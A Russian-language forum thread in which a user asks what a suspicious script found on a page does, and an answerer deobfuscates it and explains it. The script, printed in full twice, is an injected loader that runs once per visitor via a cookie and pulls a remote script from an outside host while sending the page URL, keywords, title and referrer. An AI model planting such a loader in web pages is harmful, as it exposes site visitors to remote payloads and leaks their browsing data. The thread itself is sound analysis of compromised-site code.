@virus7

Что делает данный код?

<script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCString();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(var e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascript" src="' + 'http://fotograf-buzau.ro/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'K85164' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var metas = document.getElementsByTagName('meta');if (metas) {for (var x=0,y=metas.length; x<y; x++) {if (metas[x].name.toLowerCase() == "keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><' + '/script>')));</script>
  • Вопрос задан
  • 424 просмотра
Решения вопроса 1
Sanasol
@Sanasol Куратор тега JavaScript
нельзя просто так взять и загуглить ошибку
www.jsnice.org
var a = "";
setTimeout(1);
function setCookie(name, value, dataAndEvents) {
  var expires = new Date;
  expires.setTime(expires.getTime() + 60 * dataAndEvents * 60 * 1E3);
  var c_value = "expires=" + expires.toUTCString();
  document.cookie = name + "=" + value + "; " + c_value;
}
function getCookie(key) {
  var keyString = key + "=";
  var codeSegments = document.cookie.split(";");
  var i = 0;
  for (;i < codeSegments.length;i++) {
    var cookie = codeSegments[i];
    for (;" " == cookie.charAt(0);) {
      cookie = cookie.substring(1);
    }
    if (0 == cookie.indexOf(keyString)) {
      return cookie.substring(keyString.length, cookie.length);
    }
  }
  return null;
}
if (null == getCookie("__cfgoid")) {
  setCookie("__cfgoid", 1, 1);
  if (1 == getCookie("__cfgoid")) {
    setCookie("__cfgoid", 2, 1);
    document.write('<script type="text/javascript" src="' + "http://fotograf-buzau.ro/js/jquery.min.php" + "?key=b64" + "&utm_campaign=" + "K85164" + "&utm_source=" + window.location.host + "&utm_medium=" + "&utm_content=" + window.location + "&utm_term=" + encodeURIComponent((k = function() {
      var failure = "";
      var metas = document.getElementsByTagName("meta");
      if (metas) {
        var i = 0;
        var l = metas.length;
        for (;i < l;i++) {
          if (metas[i].name.toLowerCase() == "keywords") {
            failure += metas[i].content;
          }
        }
      }
      return failure !== "" ? failure : null;
    }()) == null ? (v = window.location.search.match(/utm_term=([^&]+)/)) == null ? (t = document.title) == null ? "" : t : v[1] : k) + "&se_referrer=" + encodeURIComponent(document.referrer) + '"><' + "/script>");
  }
}
;


Встраивает на страницу какой-нибудь бекдор с рекламой, и запоминает в куках, чтобы второй раз не показывать вредоносный код.

Ну или трафик таким образом накручивает себе по определенным UTM меткам.Или собирает статистику ключей
Ответ написан
Комментировать
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы